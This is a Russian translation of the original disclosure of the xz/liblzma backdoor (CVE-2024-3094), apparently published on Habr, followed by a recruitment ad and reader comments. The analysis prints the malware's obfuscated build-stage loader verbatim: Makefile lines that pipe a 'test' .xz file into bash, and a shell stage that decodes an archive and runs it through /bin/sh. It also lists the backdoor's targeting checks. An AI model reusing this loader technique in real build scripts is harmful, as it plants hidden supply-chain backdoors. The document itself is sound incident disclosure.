В последние недели я, работая в системах с установленным дистрибутивом Debian Sid, столкнулся с несколькими странностями, связанными с liblzma
(это — часть пакета xz
). При входе в систему с использованием SSH очень сильно нагружался процессор, Valgrind выдавал ошибки. И вот я, наконец, нашёл причину всего этого: в основной репозиторий xz
и в tar‑архивы xz
был встроен бэкдор.
Сначала я подумал, что это — взлом Debian‑пакета, но оказалось, что речь идёт именно о библиотеке.
Скомпрометированные tar-архивы
Одна часть бэкдора размещена исключительно в распространяемых tar‑архивах. Вот, чтобы было понятнее, ссылка на соответствующий tar‑архив, импортированный в Debian. Но вредоносный код, кроме того, имеется и в tar‑архивах, используемых в версиях 5.6.0 и 5.6.1.
Соответствующей строки нет в исходном файле build‑to‑host
, нет её и в build‑to‑host
, используемом xz
в git. Она имеется в выпущенных tar‑архивах, но не в данных, доступных по ссылкам на исходный код, которые, полагаю, GitHub генерирует прямо из содержимого репозитория:
Эта строка внедряет обфусцированный скрипт так, чтобы он был бы выполнен в конце configure
. В этом скрипте всё очень хорошо замаскировано, а данные берутся из «тестовых» .xz-файлов из репозитория.
Скрипт выполняется и, при соблюдении некоторых заранее заданных условий, модифицирует файл $builddir/src/liblzma/Makefile
, добавляя в него следующее:
am__test = bad-3-corrupt_lzma2.xz
...
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
...
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
Данная конструкция, не обращая внимания на | bash
, выдаёт такой код:
####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
Это, после деобфускации, становится тем, что имеется в файле injected.txt.
Скомпрометированный репозиторий
Основная часть эксплойта в обфусцированной форме содержалась в следующих файлах:
tests/files/bad-3-corrupt_lzma2.xz
tests/files/good-large_compressed.lzma
Они были добавлены в главный репозиторий. Сделано это было посредством данного коммита:
https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
Обратите внимание на то, что в версии 5.6.0 эти файлы даже не использовались для каких‑либо «тестов».
Впоследствии внедрённый код (подробнее об этом поговорим ниже) приводил, в некоторых условиях, к ошибкам Valgrind и к сбоям. Происходило это из‑за того, что стек был заполнен не так, как того ожидал бэкдор. В версии 5.6.1 была сделана попытка исправить эти проблемы:
https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92
Потом, с учётом этого, код бэкдора был доработан:
https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89
Действия, связанные с этим кодом, производились в течение нескольких недель. Поэтому тот, кто закоммитил этот код, либо непосредственно занят работой над пакетом, либо очень хорошо взломал систему разработчиков. К сожалению, последний вариант объяснения происходящего выглядит не очень убедительным, учитывая то, что сообщения относительно вышеупомянутых «исправлений» появлялись в различных каналах.
Флориан Веймер первым извлёк внедрённый код в изолированном виде. Он находится в файле liblzma_la‑crc64-fast.o.gz. Я лишь взглянул на этот файл. Спасибо!
Системы, на которые воздействует бэкдор
Деобфусцированный скрипт, ссылка на который дана выше, вызывается после выполнения того, что имеется в configure. В этот момент он принимает решение о том, нужно ли модифицировать процесс сборки и внедрять свой код в систему.
Условия, проверяемые скриптом, указывают на то, что он нацелен только на системы с Linux x86–64:
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
Сборка с помощью gcc и компоновщика gnu:
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0
Запуск в процессе сборки Debian или RPM-пакета:
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
Последнее, вероятнее всего, нацелено на то, чтобы усложнить исследователям воспроизведение проблемы.
Из-за особенностей работы внедрённого кода (смотрите ниже), бэкдор, скорее всего, может работать только в системах, основанных на glibc.
К нашему счастью, xz
5.6.0 и 5.6.1 ещё не были широко интегрированы в Linux-дистрибутивы. А те дистрибутивы, куда они попали — это, в основном, предрелизные версии.
Исследование воздействия бэкдора на OpenSSH-сервер
Когда в системе установлена библиотека liblzma
— вход в систему с использованием SSH оказывается гораздо медленнее, чем обычно.
time ssh nonexistant@...alhost
До:
nonexistant@...alhost: Permission denied (publickey).
real 0m0.299s
user 0m0.202s
sys 0m0.006s
После:
nonexistant@...alhost: Permission denied (publickey).
real 0m0.807s
user 0m0.202s
sys 0m0.006s
OpenSSH не использует liblzma напрямую. Но Debian и некоторые другие дистрибутивы патчат OpenSSH для обеспечения поддержки уведомлений systemd. А libsystemd зависит от lzma.
Изначально запуск sshd
за пределами systemd
не приводит к заметному замедлению системы, несмотря на то, что бэкдор в это время ненадолго активируется. Это, похоже, является частью мер, применяемых автором бэкдора для усложнения его анализа.
Вот какие условия для работы бэкдора мне удалось заметить:
Переменная окружения TERM не установлена.
В
argv[0]
имеется/usr/sbin/sshd
.LD_DEBUG
иLD_PROFILE
не установлены.Переменная
LANG
установлена.Похоже, что бэкдор обнаруживает некоторые отладочные окружения, вроде rr. Возникает такое ощущение, что обычный gdb в некоторых ситуациях обнаруживается, а в некоторых — нет.
Для того чтобы воспроизвести работу бэкдора за пределами systemd, сервер можно запустить с пустыми переменными окружения, установив лишь переменную, необходимую для работы бэкдора:
env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D
На самом деле, OpenSSH не нужно запускать в виде сервера для того чтобы заметить замедление:
Медленно:
env -i LANG=C /usr/sbin/sshd -h
(около 0.5 с на моей более старой системе)
Быстро:
env -i LANG=C TERM=foo /usr/sbin/sshd -h
env -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h
...
(около 0.01 с на той же самой системе)
Возможно, наличие в argv[0]
чего-то, отличного от /usr/sbin/sshd
, тоже может подействовать — имеется, очевидно, множество серверов, связанных с libsystemd
.
Анализ внедрённого кода
Я не исследователь безопасности и не реверс-инженер. Есть много всего такого, чего я не анализировал. Большая часть того, что я заметил — это исключительно результат обычных наблюдений, а не глубокого анализа кода бэкдора.
Для того чтобы проанализировать код я, в основном, использовал конструкцию вида perf record -e intel_pt//u
. Это позволило мне выявить различия в выполнении чего-либо в ситуациях, когда бэкдор активен и неактивен. Я, кроме того, использовал точки останова gdb
, устанавливая их перед теми местами, где наблюдаются расхождения.
Изначально бэкдор перехватывает выполнение, подменяя ifunc-резолверы crc32_resolve()
и crc64_resolve()
другим кодом. Это приводит к вызову _get_cpuid()
, внедрённому в код (ранее там были обычные статические встраиваемые функции). В xz 5.6.1 бэкдор был обфусцирован сильнее, убирая имена символов.
Эти функции разрешаются при запуске системы, так как sshd
собран с использованием ключей -Wl,-z
. Это ведёт к тому, что все символы разрешаются на ранней стадии работы. Если система запущена с использованием переменной LD_BIND_NOT=1
, то бэкдор, похоже, не работает.
В crc32_resolve()
вызов _get_cpuid()
решает не особенно много задач. Он просто смотрит на то, что переменная completed
равна 0 и инкрементирует её, возвращая обычный результат, возвращаемый cpuid
(посредством нового _cpuid()
). А вот если говорить о crc64_resolve()
, то ситуация становится интереснее.
Похоже, что второй вызов crc64_resolve()
находит разнообразные данные — вроде сведений от динамического компоновщика, аргументов программы и значений переменных окружения. Затем производятся проверки окружения, включая те, о которых шла речь выше. Потом проводятся дополнительные проверки, которые я не исследовал в полной мере.
Если после предыдущих проверок бэкдор решит продолжить работу — то, похоже, что код будет парсить таблицы символов в памяти. Это — достаточно медленная процедура, из-за которой я и обратил внимание на описываемую здесь проблему.
Стоит отметить, что символы liblzma
разрешаются до символов многих других библиотек, включая символы из главного бинарника sshd
. Это важно, так как при разрешении символов GOT переключается в режим «только для чтения» из-за использования -Wl,-z,relro
.
Для того чтобы иметь возможность разрешать символы в ещё не загруженных библиотеках, бэкдор устанавливает хук аудита в динамический компоновщик, который можно увидеть с помощью gdb
:
watch _rtld_global_ro._dl_naudit
Похоже, что хук аудита устанавливается только для главной библиотеки.
Это хук вызывается из _dl_audit_symbind
для множества символов из главной библиотеки. Он, видимо, ждёт разрешения RSA_public_decrypt@....plt
. Бэкдор, при вызове для этого символа, меняет значение RSA_public_decrypt@....plt
так, чтобы оно указывало на его собственный код. Делается это не с использование механизма хука аудита, а за его пределами.
По причинам, которые мне пока не понятны, бэкдор меняет sym.st_value
и значение, возвращаемое из хука аудита, на другое значение, что ведёт к тому, что _dl_audit_symbind()
ничего не делает. Если так — зачем тогда вообще что-то менять?
После этого осуществляется деинсталляция хука аудита.
На этой стадии работы можно изменить содержимое got.plt
, так как оно ещё не было переведено в режим «только для чтения» (и пока не может быть переведено в этот режим).
Подозреваю, что на этой стадии могут быть выполнены и другие изменения.
Воздействие на sshd
В предыдущем разделе были даны разъяснения о перенаправлении RSA_public_decrypt@....plt
на код бэкдора. Проанализированные мной результаты трассировки кода, определённо, указывают на то, что бэкдор вызывается в процессе входа в систему с использованием ключа:
sshd 1736357 [010] 714318.734008: 1 branches:uH: 5555555ded8c ssh_rsa_verify+0x49c (/usr/sbin/sshd) => 5555555612d0 RSA_public_decrypt@...+0x0 (/usr/sbin/sshd)
Затем бэкдор осуществляет обратный вызов libcrypto
. Вероятно — для выполнения обычной аутентификации.
sshd 1736357 [010] 714318.734009: 1 branches:uH: 7ffff7c137cd [unknown] (/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.0) => 7ffff792a2b0 RSA_get0_key+0x0 (/usr/lib/x86_64-linux-gnu/libcrypto.so.3)
Я ещё точно не разобрался в том, какие именно проверки проводятся во внедрённом коде для того чтобы разрешить неавторизованный доступ к системе. Так как всё это происходит до аутентификации пользователя, похоже, что весьма вероятно то, что бэкдор даёт злоумышленнику некую возможность доступа к системе или удалённого выполнения кода.
Я в этой ситуации как можно скорее обновил бы мои потенциально уязвимые системы.
Отчёты об ошибках
Учитывая то, что автор бэкдора, несомненно, связан с основным репозиторием скомпрометированной библиотеки, я не сообщал об ошибке в этом репозитории. Так как я изначально полагал, что речь идёт о проблеме, имеющей отношение только к Debian, я отправил отчёт, не такой подробный, как этот, на security@...ian.org
. Потом я отправил отчёт на distros@
. Агентство CISA проинформировано теми, кто поддерживает дистрибутив.
Red Hat назначила этому инциденту код CVE-2024-3094.
Проверка уязвимости установленной системы
Вегард Носсум написал скрипт, позволяющий проверить на уязвимость бинарник ssh
, установленный в системе.
О, а приходите к нам работать? ? ?
Мы в wunderfund.io занимаемся высокочастотной алготорговлей с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
Комментарии (5)
Johan_Palych
30.04.2024 10:51+11День сурка?
Почитайте лучше тут:
29.03.2024 22:18 В библиотеке xz/liblzma выявлен бэкдор, организующий вход через sshd
https://www.opennet.ru/opennews/art.shtml?num=60877
30.03.2024 12:47 Ретроспектива продвижения бэкдора в пакет xz
https://www.opennet.ru/opennews/art.shtml?num=60880
31.03.2024 10:18 Разбор логики активации и работы бэкдора в пакете xz
https://www.opennet.ru/opennews/art.shtml?num=60885
В trixie/sid откатились до 5.4.5-1 еще месяц назад.
hostnamectl | grep -E "Operating System:|Kernel:";xz --version;dpkg --list | grep -E "xz-utils|liblzma"
akdengi
30.04.2024 10:51"И на 10 день Чингачгук заметил, что у тюрьмы нет одной стены". Давно уже узнали, обсудили происки злобных русских хакеров и пофиксили это. Лучше бы написали про эксплоит в gitlab, который позволяет аккаунт на левую почту сбросить.
datacompboy
Я так понимаю, это перевод поста как поймано было?
Статьи про последствия со ссылками втч на этот пост на хабре были вот:
https://habr.com/ru/news/804039/
https://habr.com/ru/articles/804129/
https://habr.com/ru/news/804163/
https://habr.com/ru/companies/kaspersky/articles/804537/